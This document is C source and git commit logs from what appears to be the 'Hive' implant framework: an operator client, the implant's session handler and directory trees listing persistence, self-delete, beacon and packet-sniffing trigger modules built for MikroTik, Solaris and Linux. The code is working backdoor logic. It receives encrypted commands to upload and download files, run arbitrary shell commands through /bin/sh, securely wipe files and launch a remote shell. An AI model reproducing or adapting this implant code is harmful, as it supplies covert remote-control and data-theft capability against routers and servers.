#include "proj_strings.h" //Required for strings...
#include "../common/crypto/dhExchange.c" //Required for dh Key information
#include <pthread.h>
//**************************************************************
pthread_mutex_t tlock;
//**************************************************************
void Run( struct proc_vars* info, struct trigger_params *trigger_args )
{
ctr_drbg_context ctr_drbg;
ssl_context ssl;
ssl_session ssn;
dhm_context *tunnelDhm;
int sKeyRet;
pthread_mutex_init( &tlock, NULL );
// if we aren't listening, then we don't need to take the lock.
// taking the lock allows us to set-up the listening socket before sending the trigger packet(s)
if ( info->listen == YES )
{
DLX(2, printf( " Requesting pthread_mutex_lock \n"));
pthread_mutex_lock( &tlock );
DLX(2, printf( " pthread_mutex_lock locked\n"));
}
// to avoid race condition where main thread exits before trigger is set,
// don't call tigger_start() as a thread
if ( info->trigger == YES && info->listen == NO )
{
DLX(2, printf( " Trigger mode set\n"));
trigger_start ( (void *) trigger_args );
return;
}
if ( info->trigger == YES && info->listen == YES )
{
DLX(2, printf( " Trigger mode set\n"));
make_thread( trigger_start, (void *) trigger_args );
}
if ( info->listen == NO )
{
// trigger sent, if specified. if not configured to listen, we are done.
// not reached
return;
}
DLX(2, printf( " Listen mode set\n"));
// listen for and establish TCP connection. returns with accept() returns success
if ( TcpInit( info ) == ERROR )
{
DLX(2, printf( " ERROR: TcpInit() returned error.\n"));
return;
}
// at this point, we have an establish TCP/IP connection
DisplayStatus(info);
//printf( "\n %sEnabling encrypted communications:%s\n", BLUE, RESET );
printf( "\n %s%s:%s\n", BLUE, run1String, RESET );
// from a SSL/TLS perspective, the client acts like a SSL server
if ( crypt_setup_server( &ctr_drbg, &ssl, &ssn, &(info->tcpfd) ) != SUCCESS )
{
DLX(2, printf( " ERROR: crypt_setup_server() failed\n"));
return;
}
DL(2);
// start TLS handshake
if ( crypt_handshake( &ssl ) != SUCCESS )
{
// TODO: encode this string(s)
//printf( " ERROR: TLS connection with TLS client failed to initialize.\n" );
printf( "%s", run2String );
return;
}
DLX(2, printf( " TLS handshake complete.\n"));
printf( "\n" );
//Tunnel Dhm
tunnelDhm = (dhm_context *) calloc(1, sizeof(dhm_context));
//TODO : make sure calloc succeeded...
DLX(4, printf( "Beginning to do tunnel Diffie Hellman Handshake.\n"));
sKeyRet= dhHandshake( tunnelDhm, &ssl );
if (sKeyRet == 0)
{
DLX(4, printf(" Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
else
{
DLX(4, printf(" Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
DLX(4, printf( "End of tunnel Diffie Hellman Handshake.\n"));
free( tunnelDhm);
//Check Diffie Hellman Key of ssl... Should modify so we pass in dhm_conext
//only in the find_DH_SecretKey method.
//See if Secret Key is available
//sKeyRet=find_DH_SecretKey(&ssl);
//if (sKeyRet == 0)
//{
// DLX(4, printf( "A DH Secret Key was NOT found.\n"));
//}
//else
//{
// DLX(4, printf( "A DH Secret Key K was found, returned %d.\n",sKeyRet));
//}
// The following if statement used to have an else clause to call AutomaticMode() which did nothing.
if ( info->interactive == YES )
{
InteractiveMode( info, &ssl );
}
crypt_close_notify( &ssl );
return;
}
//**************************************************************
void InteractiveMode( struct proc_vars* info, ssl_context *ssl )
{
char cline[525];
char** argv;
while ((info->command != EXIT) && (info->command != SHUTDOWNBOTH)) {
memset(cline, 0, 525);
fprintf(stdout, "%s> ", info->progname);
(void) fgets(cline, 525, stdin);
cline[strlen(cline) - 1] = '\0';
argv = BuildArgv(cline);
if ((argv != NULL) && (argv[0] != '\0')) {
CommandToFunction(argv, info, ssl );
}
FreeArgv(argv);
}
}
#include "client_session.h"
#include "debug.h"
#include "polarssl/crypto.h"
#include "compat.h"
#if defined LINUX || defined SOLARIS
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/wait.h>
#endif
#include "launchshell.h"
#define _USE_32BIT_TIME_T
#define _INC_STAT_INL
#include <sys/stat.h>
static int Receive(int sock, unsigned char* buf, unsigned long size, unsigned long timeOut);
static int UploadFile(char* path, unsigned long size, int sock);
static int DownloadFile(char *sath, unsigned long size, int sock);
static int Execute( char *path );
static int DelFile( char *path );
static int ExpandEnvStrings( char* path, char** newpath);
static int SecureDelete( char *path );
static int hstat( int fd );
const unsigned long CMD_TIMEOUT = 5*60*1000; // 5 minutes
const unsigned long PKT_TIMEOUT = 30*1000; // 30 sec.
static havege_state trig_hs;
static ssl_context trig_ssl;
static ssl_session trig_ssn;
#define _fstat fstat
//******************************************************************
//***************** Cross Platform functions ***********************
//******************************************************************
unsigned int GenRandomBytes(unsigned char * buf, unsigned int size)
{
unsigned int i;
//srand((unsigned int)rand()); NOT NEEDED...
for (i=0;i<size;i++)
{
buf[i] = (unsigned char)(rand() % 255);
}
return 0;
}
//******************************************************************
int write_all( int fd, void *ptr, int n )
{
int nleft;
int nwritten;
nleft = n;
while ( nleft > 0 )
{
if (( nwritten = write( fd, ptr, nleft )) < 0 )
{
// if first time through, error
if ( nleft == n ) return (-1);
// else, return what we were successful in writing
else break;
}
else if ( nwritten == 0 )
{
break;
}
nleft -= nwritten;
ptr = (char *)ptr + nwritten;
}
return ( n - nleft );
}
//******************************************************************
//Waits for data to arrive on the socket and reads it in untill the buffer is full.
int Receive(int sock, unsigned char* buf, unsigned long size, unsigned long timeOut)
{
unsigned long receivedTotal = 0;
int received = 0;
fd_set readFDs;
struct timeval timeout;
timeout.tv_sec = timeOut/1000;
FD_ZERO(&readFDs);
if(sock != INVALID_SOCKET)
{
FD_SET(sock, &readFDs);
}
//while there is room in the buffer keep going
while(receivedTotal < size)
{
if( select(sock+1,&readFDs,0,0,&timeout))
{
// received = recv(sock,(char*)buf + receivedTotal,size - receivedTotal,0);
received = crypt_read( &trig_ssl, buf + receivedTotal, size - receivedTotal );
if(received == SOCKET_ERROR)
{
return SOCKET_ERROR;//recv sent back an error
}
if(received > 0)
{
receivedTotal += received;
}
else if(received == 0)
{
return receivedTotal;
}
}
}
return receivedTotal;
}
//******************************************************************
int UploadFile(char* path, unsigned long size, int sock)
{
REPLY ret; // Reply struct
DATA data; // File transfer Data struct
unsigned long retVal;
// D( unsigned long written; )
FILE* fd;
// Fill reply with random bytes
GenRandomBytes((unsigned char *)&ret, sizeof(ret));
// Attempt to create local file
fd = fopen(path,"wb");
if(fd == 0)
{
return errno;
}
DLX(2, printf("Opened path: %s\n", path));
// Set successful reply
ret.reply = 0;
retVal = 0;
//send reply (guessing it lets client know we are ready to receive data of file?)
// if(SOCKET_ERROR == send(sock,(const char*) &ret, sizeof(REPLY),0))
// TODO <= 0
if ( SOCKET_ERROR == crypt_write( &trig_ssl, (unsigned char*) &ret, sizeof(REPLY) ) )
{
retVal = -1;
goto Error;
}
DLX(2, printf("Acknowledged UploadFile command of size %d\n", (int)size));
while (size)
{
// D( printf( " DEBUG: %d bytes remaining\n", (int)size ); )
// Read 4k block of file data from client
// minimum is one 4k block
// TODO: do we need to call Receive() or just call crypt_read() directly??
if ( SOCKET_ERROR == Receive(sock,(unsigned char*) &data, sizeof(DATA), PKT_TIMEOUT))
goto Error;
if (size > sizeof(DATA))
{
// Write block
(void) fwrite( data.data, sizeof(DATA), 1, fd );
// written = fwrite( data.data, sizeof(DATA), 1, fd );
// D( printf( " DEBUG: %d bytes written\n", (int)written ); )
size -= sizeof(DATA);
}
else
{
// Write remaining bytes
(void) fwrite( data.data, size, 1, fd );
// written = fwrite( data.data, size, 1, fd );
// D( printf( " DEBUG: %d bytes written\n", (int)written ); )
size = 0;
}
}
fclose(fd);
// TODO: what do we want retVal to be? 0 on success?
return retVal;
Error:
retVal = -1;
fclose(fd);
unlink(path);
return retVal;
}
//******************************************************************
int DownloadFile(char *path, unsigned long size, int sock)
{
REPLY ret; // Reply struct
DATA data; // File transfer Data struct
struct stat buf;
FILE *fd;
//TODO: Review and fix/remove this.
// to silence compiler warnings. this var no longer needed because of the
// ssl_context declared global to this file
sock = sock;
// Attempt to open local file for download
fd = fopen( path, "rb" );
if ( fd == 0 )
{
DLX(1, perror("fopen(): "));
return errno;
}
// Get file size
// fstat() && stat() do not work on DD-WRT test surrogate for Linux MIPS-LE
// if( stat( path, &buf ) != 0 )
if( _fstat( fileno( fd ), &buf ) != 0 )
{
DLX(1, perror("fstat(): "));
goto Error;
}
size = buf.st_size;
if ( size == 0 )
{
// double-check size calculation
size = hstat( fileno( fd ) );
}
DLX(2, printf("Total fstat() size: %i\n", (int)buf.st_size));
DLX(2, printf("Total size: %i\n", (int)size));
DLX(2, printf("Remote file size is %ld\n", size));
// Setup reply struct
ret.reply = 0;
// Place file size in struct padding (Download was a late addition. Hence the hack.)
ret.padding = htonl(size);
//send reply with the file size so the client knows
// if(SOCKET_ERROR == send(sock, (const char*) &ret, sizeof(REPLY), 0))
if ( SOCKET_ERROR == crypt_write( &trig_ssl, (unsigned char*)&ret, sizeof(REPLY) ) )
{
DLX(2, printf("crypt_write() socket error\n"));
goto Error;
}
while (size)
{
if (size > sizeof(DATA))
{
(void)fread(&data.data,sizeof(DATA),1,fd);
// Read block
size -= sizeof(DATA);
}
else
{
(void)fread(&data.data,sizeof(DATA),1,fd);
// Read remaining bytes
size = 0;
}
//write out the file to the client
// if(SOCKET_ERROR == send(sock,(const char*)(unsigned char*) &data,sizeof(DATA), 0))
if ( SOCKET_ERROR == crypt_write( &trig_ssl, (unsigned char*)&data, sizeof(DATA) ) )
{
DLX(3, printf("crypt_write() socket error\n"));
goto Error;
}
}
fclose( fd );
return 0;
Error:
fclose( fd );
return errno;
}
//******************************************************************
int DelFile( char *path )
{
// Attempt to delete file
if(unlink(path) < 0)
{
return errno;
}
return 0;
}
//******************************************************************
// this function should only be called when a target does not support fstat()
// like DD-WRT v24-sp2 std
int hstat( int fd )
{
int fsize = 0;
// seek to end of file and lseek() will return offset.
// offset == file size
if ( ( fsize = lseek( fd, 0, SEEK_END ) ) < 0 )
{
DLX(4, perror("lseek(): SEEK_END: "));
return -1;
}
// reset offset back to beginning of the file
if ( lseek( fd, 0, SEEK_SET ) < 0 )
{
DLX(4, perror("lseek(): SEEK_SET: "));
return -1;
}
return fsize;
}
//******************************************************************
int SecureDelete( char *path )
{
FILE* fd;
struct stat buf;
unsigned char zerobuf[ 4096 ];
int remaining;
int numWritten;
int fsize;
// Just to make sure
memset( zerobuf, 0, 4096 );
//First open the file with the flags f+b
fd = fopen(path,"r+b");
//check to see if file opened
if(fd == 0)
{
D( perror( "fopen()" ); )
return errno;
}
// Get file size
if( _fstat(fileno(fd),&buf) != 0)
{
D( perror( "fstat()" ); )
goto Error;
}
fsize = buf.st_size;
// for the DD-WRT v24-sp2 (11/02/09) std, fstat() not working correctly. It will always
// return buf.st_size == 0. File still deleted, but not securely. This presents a greater
// problem for Download() which relies on fstat() returning a proper file size priot to txfr
if ( fsize == 0 )
{
// double-check size calculation
fsize = hstat( fileno( fd ) );
}
// Loop as necessary while calling fwrite() to write zeroes out to the original file:
//
remaining = fsize;
while ( remaining > 0)
{
numWritten = 0;
numWritten = fwrite( zerobuf, 1, MIN( 4096, remaining) ,fd);
if(numWritten <= 0)
{
D( perror( "fwrite()");)
goto Error;
}
remaining -= numWritten;
}
fflush(fd); //Flush the CRT buffers... this will send to OS buffers
//... so flush the OS buffers so that the zeros are actually written to disk
#if defined LINUX || defined SOLARIS
if ( 0 != fsync( fileno(fd)) ) goto Error;
if ( 0 != fsync( fileno(fd)) ) goto Error;
if ( 0 != fsync( fileno(fd)) ) goto Error;
sync(); sync(); sync();
#endif
fclose(fd);
#ifdef _USE_UNLINK
unlink( path );
#else
if ( remove( path) != 0 )
{
// so far, the only platform that has not supported remove() is the
// DD-WRT v24-sp2 (11/02/09) std firmware flashed to a Linksys
// WRT54G v1.0 for surrogate testing of MikroTik MIPS-LE.
// Given prior successful testing with the MikroTik RouterOS on
// other hardware, remove() is expected to work.....
// With DD-WRT, remove() fails with "can't resolve symbol 'remove'"
DLX(2, perror("remove(): "));
goto Error;
}
#endif
return 0;
Error:
fclose( fd );
return errno;
}
unsigned long StartClientSession( int sock )
{
int fQuit = 0;
int retval = 0;
char* commandpath = 0;
DL(2);
// we have an established TCP/IP connection
// although we consider this the SERVER, for the SSL/TLS transaction,
// the implant acts as a SSL client
if ( crypt_setup_client( &trig_hs, &trig_ssl, &trig_ssn, &sock ) != SUCCESS )
{
DLX(2, printf("ERROR: crypt_setup_client()\n"));
crypt_cleanup( &trig_ssl);
return FAILURE; //TODO: SHOULD THESE BE GOING TO EXIT AT BOTTOM???
}
// start TLS handshake
DL(3);
if ( crypt_handshake(&trig_ssl) != SUCCESS )
{
DLX(2, printf("ERROR: TLS connection with TLS server failed to initialize.\n"));
crypt_cleanup( &trig_ssl);
return FAILURE; //TODO: SHOULD THESE BE GOING TO EXIT AT BOTTOM???
}
DLX(3, printf("TLS handshake complete.\n"));
while(!fQuit)
{
COMMAND cmd;
REPLY ret;
int r;
// Fill reply buffer with random bytes
GenRandomBytes((unsigned char *)&ret, sizeof(REPLY));
// Get command struct. Willing to wait 5 minutes between commands
// set timeout. if we don't receive a command within this timeframe, assume we are hung and exit
// this timeout is reset each time a command is received.
alarm( SESSION_TIMEOUT );
r = crypt_read(&trig_ssl, (unsigned char *)&cmd, sizeof(COMMAND));
if (r == 0) { // Peer closed connection
DLX(3, printf("crypt_read: peer closed connection\n"));
break;
}
if (r < 0) { // Read error
DLX(3, printf("crypt_read error: %0x\n", r));
continue;
}
alarm( 0 );
// Expand the cmd.path to the proper path resolving ENVIRONMENT variables
if( commandpath != 0 )
{
free( commandpath );
commandpath = 0;
}
ExpandEnvStrings(cmd.path, &commandpath);
DLX(2, printf ("\tExecuting command: 0x%0x\n", cmd.command));
//act on command, THESE FOLLOWING VALUES ARE DEFINED IN THE Shell.h file.
switch(cmd.command)
{
case EXIT:
DLX(2, printf("EXIT command received.\n"));
fQuit = 1;
ret.reply = 0;
break;
case UPLOAD:
DLX(2, printf("UPLOAD command received.\n"));
ret.reply = UploadFile(commandpath, ntohl(cmd.size),sock);
break;
case DOWNLOAD:
DLX(2, printf("DOWNLOAD command received.\n"));
ret.reply = DownloadFile(commandpath, ntohl(cmd.size), sock);
break;
case EXECUTE:
DLX(2, printf("EXECUTE command received.\n"));
memset((unsigned char *)&ret, '\0', sizeof(REPLY)); //Clear up the reply...
ret.reply = Execute( commandpath );
break;
case DELETE:
DLX(2, printf("DELETE command received, attempting SECURE DELETE...\n"));
ret.reply = SecureDelete(commandpath);
//If SecureDelete failed, ret.reply is not 0 so try to use DelFile function
if (ret.reply != 0)
{
DLX(2, printf("Now attempting to UNLINK the file: %s\n", commandpath));
ret.reply = DelFile(commandpath);
}
break;
//TODO: The following code (from here through the exit) needs to be reviewed.
case SHUTDOWNBOTH:
DLX(2, printf("SHUTDOWN command received.\n"));
fQuit = 1;
ret.reply = 0;
crypt_write( &trig_ssl, (unsigned char*)&ret, sizeof(ret) );
// send(sock, (const char*)&ret, sizeof(ret),0);
closesocket(sock);
sock = INVALID_SOCKET;
retval = SHUTDOWN;
//TODO: Linux used "break", Solaris used "goto Exit". Investigate this further.
#ifdef LINUX
break;
#else
goto Exit;
#endif
case LAUNCHTRUESHELL:
DLX(2, printf("LAUNCHTRUESHELL command received.\n"));
ret.reply = launchShell(commandpath);
D( printf( " DEBUG: launchshell() returned %i\n", (int)ret.reply ); )
break;
default:
DLX(2, printf("Command not recognized.\n"));
fQuit = 1;
break;
}
// Send reply
// if( SOCKET_ERROR == send(sock, (const char*)&ret, sizeof(ret),0))
if( SOCKET_ERROR == crypt_write( &trig_ssl, (unsigned char*)&ret, sizeof(ret) ) )
{
closesocket(sock);
goto Exit;
}
}
// TODO: Instead of allowing this function to return to connectShell and then trigger_exec where then
// retval == SHUTDOWN is processed, why not process it here? it might eliminate some tracing
// back and forth.
Exit:
if( commandpath != 0 ) free( commandpath );
crypt_cleanup( &trig_ssl);
return retval;
}
int Execute( char *path )
{
int status=0; //Assume success...
pid_t pid;
char* receivedCommand;
#ifdef LINUX
#ifdef _USE_ASH
// and actually, on the MT, /bin/bash is a symbolic link to /bin/ash which is part of /bin/busybox
char* shell="/bin/ash";
#elif _USE_BASH
char* shell="/bin/bash";
#else
char* shell="/bin/sh";
#endif
#else
char* shell="/bin/sh";
#endif
receivedCommand = path;
pid = fork();
if (pid == 0)
{
//This is the child so execute the command...
execl( shell, shell, "-c", receivedCommand, NULL);
exit(EXIT_FAILURE);
}
else if (pid < 0)
{
//The fork failed, report the error;
status = -1;
}
else
{ //This is the parent process, Wait for the child to complete.
D(int rv;)
D(rv =) waitpid( pid, &status, 0);
DLX(2, printf("waitpid() returned %d while waiting for pid %d\n", rv, (int)pid));
if (WIFEXITED(status))
{
DLX(2, printf("Child terminated normally with exit status: %d\n", WEXITSTATUS(status) ));
}
if (WIFSIGNALED(status))
{
DLX(2, printf("Child was terminated by signal: %d\n", WTERMSIG(status) ));
}
}
DLX(2, printf("Received Command: %s, Status: %i", receivedCommand, status));
return(status);
}
int ExpandEnvStrings( char* path, char** newpath)
{
//TODO: Validate on Solaris
int retval = 0;
*newpath = (char*) malloc( sizeof( ((COMMAND*)0)->path) );
memcpy( *newpath, path, sizeof( ((COMMAND*)0)->path));
return retval;
}
commit dfd4a30c06ce11fbb4ace53940b9419be6e7477a
Author: Jack M <jackmc@devlan.net>
Date: Fri Jun 19 16:02:31 2015 -0400
Fix patcher problem with -d option (beacon delay) and update User's Guide.
diff --git a/documentation/UsersGuide/UsersGuide.odt b/documentation/UsersGuide/UsersGuide.odt
new file mode 100644
index 0000000..a3fe4c6
Binary files /dev/null and b/documentation/UsersGuide/UsersGuide.odt differ
tree d855b88d574a5d86697769027eaef7f3ffc797ff
.settings/
Hive1_Makefile
HiveServer.sln
Makefile
Makefile.arm
Makefile.linux-x86
Makefile.linux-x86_64
Makefile.mikrotik-mipsbe
Makefile.mikrotik-mipsle
Makefile.mikrotik-ppc
Makefile.mikrotik-x86
Makefile.mipsel
Makefile.solaris-sparc
Makefile.solaris-x86
beacon.c
beacon.h
bin2carray.sln
bin2carray.suo
bin2carray/
bzip/
client_session.c
client_session.h
common_utils.h
compat.h
compression.c
compression.h
connect_shell.c
connect_shell.h
cryptcat-c-port/
cryptcat/
daemonize.c
daemonize.h
debug.h
dlcommon.h
example_hived_init_script-mikrotik
example_hived_init_script-solaris
farm9crypt.c
farm9crypt.h
function_strings.h
get_data.c
get_data.h
getopt.cpp
getopt.h
ifconfig.c
ifconfig.h
jshell.c
jshell.h
launchshell.c
launchshell.h
main.c
makeLocalBuilds.bsh
mod_gen_cryptostring_header.py
mod_gen_string_header.py
mod_hexify.py
netstat_an.c
netstat_an.h
netstat_rn.c
netstat_rn.h
original_serverstrings.txt
persistence.c
persistence.h
polarssl
polarssl-0.14.0/
port.h
process_list.c
process_list.h
run_command.c
run_command.h
self_delete.c
self_delete.h
server_strings.txt
server_strings_windows.txt
shuffle.c
shuffle.h
stdint.h
string_utils.c
string_utils.h
survey_mac.c
survey_mac.h
survey_uptime.c
survey_uptime.h
threads.c
threads.h
tiny_crc16.c
tiny_crc16.h
transferNewBuildsToClient.bsh
trigger_b64.c
trigger_b64.h
trigger_callback_session.c
trigger_callback_session.h
trigger_debug.h
trigger_listen.c
trigger_listen.h
trigger_payload.c
trigger_payload.h
trigger_sniff.c
trigger_sniff.h
twofish.c
twofish.h
unpifi.h
commit 9b1609513674353568b81d4174b4860789513ae1
Author: Jack M <jackmc@devlan.net>
Date: Wed Mar 12 10:23:51 2014 -0400
Tweak Makefiles to remove unused reference to cryptcat code and add comment to jshell.c regarding SOLARIS.
diff --git a/server/Makefile.linux-x86 b/server/Makefile.linux-x86
index 0d2b074..a842505 100644
--- a/server/Makefile.linux-x86
+++ b/server/Makefile.linux-x86
@@ -17,8 +17,7 @@ SERVER_BASENAME = hived
POLARSSL = polarssl
BZIP2 = bzip/bzip2-1.0.6
-CCAT = cryptcat-c-port
-INCLUDES = -I$(POLARSSL)/include -I$(BZIP2) -I../libs #-I$(CCAT)
+INCLUDES = -I$(POLARSSL)/include -I$(BZIP2) -I../libs
LIBPOLARSSL = $(POLARSSL)/library/libpolarssl.a
LIBBZIP2 = $(BZIP2)/libbz2.a
@@ -125,4 +124,4 @@ md5: all
.PHONY: tarball
tarball:
- make -f ./Makefile tarball
\ No newline at end of file
+ make -f ./Makefile tarball
diff --git a/server/Makefile.linux-x86_64 b/server/Makefile.linux-x86_64
index 0942976..d883d87 100644
--- a/server/Makefile.linux-x86_64
+++ b/server/Makefile.linux-x86_64
@@ -17,8 +17,7 @@ SERVER_BASENAME = hived
POLARSSL = polarssl
BZIP2 = bzip/bzip2-1.0.6
-CCAT = cryptcat-c-port
-INCLUDES = -I$(POLARSSL)/include -I$(BZIP2) -I../libs #-I$(CCAT)
+INCLUDES = -I$(POLARSSL)/include -I$(BZIP2) -I../libs
LIBPOLARSSL = $(POLARSSL)/library/libpolarssl.a
LIBBZIP2 = $(BZIP2)/libbz2.a
diff --git a/server/jshell.c b/server/jshell.c
index 5e3c31f..3a81803 100644
--- a/server/jshell.c
+++ b/server/jshell.c
@@ -26,6 +26,9 @@
#include <fcntl.h>
#include <errno.h>
+/*
+ * forkpty() SOLARIS ONLY
+ */
int forkpty( int *amaster, char *name, void *unused1, void *unused2 ) {
char *slave;
tree e55809ccffae48cb3035454b386212a8a34c31d1
.settings/
Hive1_Makefile
HiveServer.sln
Makefile
Makefile.arm
Makefile.linux-x86
Makefile.linux-x86_64
Makefile.mikrotik-mipsbe
Makefile.mikrotik-mipsle
Makefile.mikrotik-ppc
Makefile.mikrotik-x86
Makefile.mipsel
Makefile.solaris-sparc
Makefile.solaris-x86
beacon.c
beacon.h
bin2carray.sln
bin2carray.suo
bin2carray/
bzip/
client_session.c
client_session.h
common_utils.h
compat.h
compression.c
compression.h
connect_shell.c
connect_shell.h
cryptcat-c-port/
cryptcat/
daemonize.c
daemonize.h
debug.h
dlcommon.h
example_hived_init_script-mikrotik
example_hived_init_script-solaris
farm9crypt.c
farm9crypt.h
function_strings.h
get_data.c
get_data.h
getopt.cpp
getopt.h
ifconfig.c
ifconfig.h
jshell.c
jshell.h
launchshell.c
launchshell.h
main.c
makeLocalBuilds.bsh
mod_gen_cryptostring_header.py
mod_gen_string_header.py
mod_hexify.py
netstat_an.c
netstat_an.h
netstat_rn.c
netstat_rn.h
original_serverstrings.txt
persistence.c
persistence.h
polarssl
polarssl-0.14.0/
port.h
process_list.c
process_list.h
run_command.c
run_command.h
self_delete.c
self_delete.h
server_strings.txt
server_strings_windows.txt
shuffle.c
shuffle.h
stdint.h
string_utils.c
string_utils.h
survey_mac.c
survey_mac.h
survey_uptime.c
survey_uptime.h
threads.c
threads.h
tiny_crc16.c
tiny_crc16.h
transferNewBuildsToClient.bsh
trigger_b64.c
trigger_b64.h
trigger_callback_session.c
trigger_callback_session.h
trigger_debug.h
trigger_listen.c
trigger_listen.h
trigger_payload.c
trigger_payload.h
trigger_sniff.c
trigger_sniff.h
twofish.c
twofish.h
unpifi.h
tree 8a59ea367d7c504edf365773e72c19f2049b1330
.settings/
DllTestLoader/
Hive1_Makefile
HiveServer.sln
HiveServer.vcxproj
HiveServer.vcxproj.filters
HiveServer.vcxproj.user
Makefile
Makefile.arm
Makefile.linux-x86
Makefile.linux-x86_64
Makefile.mikrotik-mipsbe
Makefile.mikrotik-mipsle
Makefile.mikrotik-ppc
Makefile.mikrotik-x86
Makefile.mipsel
Makefile.solaris-sparc
Makefile.solaris-x86
beacon.c
beacon.h
bin2carray.sln
bin2carray.suo
bin2carray/
build_11May2012/
bzip/
client_session.c
client_session.h
common_utils.h
compat.h
compression.c
compression.h
connect_shell.c
connect_shell.h
cryptcat-c-port/
cryptcat/
daemonize.c
daemonize.h
debug.h
dlcommon.h
example_hived_init_script-mikrotik
example_hived_init_script-solaris
farm9crypt.c
farm9crypt.h
function_strings.h
get_data.c
get_data.h
getopt.cpp
getopt.h
hived-linux-i686
hived-linux-i686-dbg
hived-linux-i686-dbg.md5
hived-linux-i686.md5
hived-mikrotik-i386
hived-mikrotik-i386-dbg
hived-mikrotik-i386-dbg.md5
hived-mikrotik-i386.md5
hived-mikrotik-mipsbe
hived-mikrotik-mipsbe-dbg
hived-mikrotik-mipsbe-dbg.md5
hived-mikrotik-mipsbe.md5
hived-mikrotik-mipsle
hived-mikrotik-mipsle-dbg
hived-mikrotik-mipsle-dbg.md5
hived-mikrotik-mipsle.md5
hived-mikrotik-ppc
hived-mikrotik-ppc-dbg
hived-mikrotik-ppc-dbg.md5
hived-mikrotik-ppc.md5
hived-solaris-i386
hived-solaris-i386-dbg
hived-solaris-i386-dbg.md5
hived-solaris-i386.md5
hived-solaris-sparc
hived-solaris-sparc-dbg
hived-solaris-sparc-dbg.md5
hived-solaris-sparc.md5
ifconfig.c
ifconfig.h
jshell.c
jshell.h
launchshell.c
launchshell.h
libbzip2
main.c
makeLocalBuilds.bsh
mod_gen_cryptostring_header.py
mod_gen_string_header.py
mod_hexify.py
netstat_an.c
netstat_an.h
netstat_rn.c
netstat_rn.h
original_serverstrings.txt
persistence.c
persistence.h
polarssl
polarssl-0.14.0/
port.h
process_list.c
process_list.h
run_command.c
run_command.h
self_delete.c
self_delete.h
server_strings.txt
server_strings_windows.txt
shuffle.c
shuffle.h
stdint.h
string_utils.c
string_utils.h
survey_mac.c
survey_mac.h
survey_uptime.c
survey_uptime.h
threads.c
threads.h
timeout.c
timeout.h
tiny_crc16.c
tiny_crc16.h
transferNewBuildsToClient.bsh
trigger_b64.c
trigger_b64.h
trigger_callback_session.c
trigger_callback_session.h
trigger_debug.h
trigger_listen.c
trigger_listen.h
trigger_payload.c
trigger_payload.h
trigger_sniff.c
trigger_sniff.h
twofish.c
twofish.h
unpifi.h
tree 899a792074a75239162a7579a425ef998d7e9c36
.cproject
.project
Doxyfile
Makefile
README
client/
common/
documentation/
honeycomb/
ilm-client/
infrastructure/
server/
snapshot_20140506-1200/
tree b79a9ddbc98057db3b3891a1e0be6d92327f3754
As
Makefile
Makefile-include.linux-x86
Makefile-include.linux-x86_64
Makefile.arch
README.txt
b64.c
b64.h
ca.crt
checkStrings.bsh
client_strings.txt
colors.h
cryptcat/
ctHive/
debug.h
functions.c
hclient.h
hived-linux-x86-unpatched
hived-linux-x86_64-unpatched
hived-mikrotik-mips-unpatched
hived-mikrotik-mipsel-unpatched
hived-mikrotik-ppc-unpatched
hived-mikrotik-x86-unpatched
hived-solaris-sparc-unpatched
hived-solaris-x86-unpatched
inputFile
key.h
main.c
misc.c
mod_gen_cryptostring_header.py
mod_gen_string_header.py
mod_hexify.py
modes.c
nc.sh
parser.c
patcher.c
saveSnapshot.bsh
server.crt
server.key
threads.c
threads.h
trigger.c
trigger.h
trigger_network.c
trigger_network.h
trigger_protocols.c
trigger_protocols.h
trigger_utils.c
trigger_utils.h
tag 2.9-RC5
Tagger: Jack M <jackmc@devlan.net>
Date: Tue Jun 23 08:35:25 2015 -0400
2.9-RC5
commit 7a65421222820a4efa3fea662188e666b1fc78a7
Author: Jack M <jackmc@devlan.net>
Date: Tue Jun 23 08:04:26 2015 -0400
Set recursion flag in DNS query.
diff --git a/server/dns_client.c b/server/dns_client.c
index 52164de..9dfed50 100644
--- a/server/dns_client.c
+++ b/server/dns_client.c
@@ -50,10 +50,13 @@ char *dns_resolv(char *ip, char *serverIP)
sin.sin_port = htons(53); // DNS UDP port number
inet_aton(serverIP, &sin.sin_addr); // DNS server address
+ // DNS Header Initialization
+
header = (DNS_header *)buf;
queryID = htons((uint16_t)rand());
- header->id = htons(queryID);
- header->qdcount = htons(1);
+ header->id = htons(queryID); // Randomly generated query ID
+ header->qdcount = htons(1); // One query
+ header->rd = 1; // Set recursion flag
// Generate the query
{
//SERVER FILES
#ifndef _CRT_SECURE_NO_DEPRECATE
#define _CRT_SECURE_NO_DEPRECATE 1
#endif
#include <string.h>
#include <stdio.h>
#include "polarssl/config.h"
#include "polarssl/net.h"
#include "polarssl/aes.h"
#include "polarssl/dhm.h"
#include "polarssl/rsa.h"
#include "polarssl/ssl.h"
#include "polarssl/sha1.h"
#include "polarssl/entropy.h"
#include "polarssl/ctr_drbg.h"
#include "polarssl/debug.h"
int find_DH_SecretKey( ssl_context *ssl);
//SSL has already performed a Diffie-Hellman Key exchange and has it's own
// internal dhm_context witha secret key. We need to create another
// dhm_context and have it perform another Diffie_Hellman Key Exchange to
// generate another new secret Key which will be used as the key for aes
// encryption.
int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl );
int dhClientExchange( ssl_context *ssl );
int dhServerExchange( ssl_context *ssl );
int find_DH_SecretKey( ssl_context *ssl )
{
uint8_t * kKey;
size_t kKeySize;
int mpiRet;
//int n;
DL(4);
if ((kKeySize = mpi_size(&(ssl->dhm_ctx.K))) > 0) {
DLX(4, printf("kKeySize = %d\n", kKeySize));
kKey= (uint8_t *) calloc(kKeySize, sizeof(uint8_t));
}
//TODO: Add error code here
DL(4);
memcpy(kKey, &(ssl->dhm_ctx.K), kKeySize);
SSL_DEBUG_MPI( 3, "kKey:", (mpi *)kKey);
DLX(4, printf( "kKey now has Length of %d.\n", kKeySize));
DLX(4, printf("Freeing kKey for now...\n") );
if (kKey != NULL)
free( kKey);
return mpiRet;
}
int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl )
{
int dhRet = -99;
if ( ssl->endpoint == SSL_IS_CLIENT )
{
DLX(4, printf( "Will attempt dhClientExchange in ../common/crypto/dhExchange.c.\n"));
//dhRet = dhClientExchange( ssl ); //Should this return an error/success code?
}
else
{
DLX(4, printf( "Will attempt dhServerExchange in ../common/crypto/dhExchange.c.\n"));
//dhRet = dhServerExchange( ssl ); //Should this return an error/success code?
}
return dhRet;
}
//Will use ssl_write and ssl_read since connection already exists.
